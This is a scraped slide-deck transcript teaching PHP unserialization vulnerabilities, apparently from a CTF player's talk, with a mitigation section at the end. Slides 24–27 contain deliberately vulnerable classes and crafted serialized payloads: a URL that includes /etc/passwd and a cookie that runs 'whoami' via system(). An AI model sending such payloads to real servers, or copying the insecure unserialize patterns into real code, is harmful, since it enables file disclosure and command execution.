EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 

Closer look at PHP Unserialization by Ashwin Shenoi

  • 1. A Closer Look Into PHP Unserialization S Ashwin Shenoi
  • 2. php > system(“whoami”); ● S Ashwin Shenoi (@c3rb3ru5) ● 2nd year BTech CSE @ Amrita School of Engineering, Amritapuri ● CTF Player @teambi0s ● Web Exploitation ● Organising team @InCTF and InCTFj ● Twitter: @__c3rb3ru5__
  • 3. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 4. ● Programmer defined data structure which consists of local data (attributes or properties) as well as local functions. php > echo “PHP Classes”; class Test { public $name; public $age; public function __construct( ) { $this->name = "Ashwin"; $this->age = 19; } }
  • 5. php > echo “PHP Objects”; ● An object is a data type which stores data and information on how to process that data. ● An Object is an individual instance of the data structure defined by a class. ● We define a class once and then make many objects that belong to it. $person = new Test( );
  • 6. ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation php > echo “Agenda”;
  • 7. php > echo “What is serialization”; ● Converting a complex data structure such as a class object or arrays into strings. ● Easier for transmission and storage. ● Stored representation of an object.
  • 8. php > echo “What is serialization”; ● Example Scenarios: ○ Passing objects via URL Query parameters or cookies. ○ Storing object data in text or in a single database field ■ serialize( ) the object to a string ■ Store the object into the database or text ■ unserialize( ) the stored string back to a PHP Object
  • 9. php > serialization(); ● Double ○ d:<value>; ○ d:12.1234; ● NULL ○ N; ● Integers ○ i:<value>; ○ i:100; ○ i:-200; ● Boolean ○ b:<value>; ○ b:1; // TRUE ○ b:0; // FALSE
  • 10. php > serialization(); ● Strings ○ s:<length>:“<value>”; ○ s:6:“Ashwin”; ● Arrays ○ a:<length>:{<key>;<value>;} ○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} ■ // array( "name" => "Ashwin" , "age" => 19 );
  • 11. php > $a = 5; php > var_dump($a); int(5) php > echo serialize($a); i:5; php > $b = unserialize('i:5;'); php > echo $b; 5 php > var_dump($b); int(5) php > serialization(); php > $c = "Ashwin"; php > var_dump($c); string(6) "Ashwin" php > echo serialize($c); s:6:"Ashwin"; php > $d = unserialize('s:6:"Ashwin";'); php > echo $d; Ashwin php > var_dump($d); string(6) "Ashwin"
  • 12. php > serialization(); O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;} object(Test)#1 (2) { ["name"]=> string(6) "Ashwin" ["age"]=> int(19) } O:<class name length>:"<class name>":<number of properties>:{ <properties> };
  • 13. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 14. php > echo “__Magic_Methods( )”; ● Reserved functions whose function names start with “__”. ● Magic methods are named after the specific action that leads to their execution. ● All magic methods MUST be declared as public. ● Automatically called, so need not be explicitly called or invoked. ● Magic methods can be called and executed after unserialization.
  • 15. php > echo “__Magic_Methods( )”; __sleep( ) __wakeup( ) __toString( ) __invoke( ) __set_state( ) __clone( ) __debugInfo( ) __construct( ) __destruct( ) __call( ) __callStatic( ) __get( ) __set( ) __isset( ) __unset( )
  • 16. php > echo “__Magic_Methods( )”; ● __construct( ) ○ Normally used to initialise data in variables. ○ First method called after object creation. ○ If you do not explicitly declare it, then there will be a default constructor with no parameters and empty content in the class.
  • 17. php > echo “__Magic_Methods( )”; ● __destruct( ) ○ Perform some operations before destroying an object, such as closing a file, etc ○ Called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. ○ Unlike the constructor the destructor cannot have any parameters.
  • 18. php > echo “__Magic_Methods( )”; ● __wakeup( ) ○ Called as soon as PHP encounters a unserialize( ) function. ○ Often used to rebuild database connections, or perform other initialization operations. ○ This is kind of like the opposite of what the __sleep( ) magic function does, which is automatically called when serialize( ) function is called.
  • 19. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 20. So how on earth is this vulnerable?
  • 21. php > echo “Vulnerability”; ● unserialize( ) function is SECURE, IF USER CANNOT INFLUENCE THE INPUT.
  • 22. php > echo “Vulnerability”; ● In order to successfully exploit an unserialize bug, two conditions HAVE to be satisfied: ○ PHP Magic Method (eg. __destruct or __wakeup), that has malicious code, or can start a POP chain. ○ All classes used for the attack should be declared and imported properly by the time of unserialization, or else it has to support class autoloading.
  • 23. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 24. php > echo “Exploit 1”; class Example1 { public $file; public function __construct( ) { // Random PHP Code } public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } } ….. // Random PHP Code $data = unserialize($_GET[‘input’]); // Random PHP Code …..
  • 25. php > echo “Exploit 1”; ….. public function __destruct( ) { if ( file_exists ( $this->file ) ) { include ( $this->file ); } } ….. $data = unserialize($_GET[‘input’]); http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
  • 26. php > echo “Exploit 2”; class Example2 { public $cmd; public function __construct( ) { // Random PHP Code } public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } } ….. // Random PHP Code $data = unserialize($_COOKIE[‘input’]); // Random PHP Code …..
  • 27. php > echo “Exploit 2”; ….. public function __wakeup( ) { if ( isset ( $this->cmd ) ) { system ( $this->cmd ); } } ….. $data = unserialize($_COOKIE[‘input’]); GET / HTTP/1.1 Host: example.com Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
  • 28. Let’s get to a demo
  • 29. php > echo “Agenda”; ● PHP Classes and Objects ● Serialization and unserialization ● What are magic functions ● Vulnerabilities of unserialize() function ● Exploiting unserialize() ● Mitigation
  • 30. php > echo “Mitigation”; ● PHP7 has added an additional parameter, “options”, to the unserialize( ) function. ○ unserialize($str, [‘allowed classes’ => false]); ● Never use the unserialize( ) function on user controllable input. ● Instead use JSON format. ○ json_encode( ) ○ json_decode( )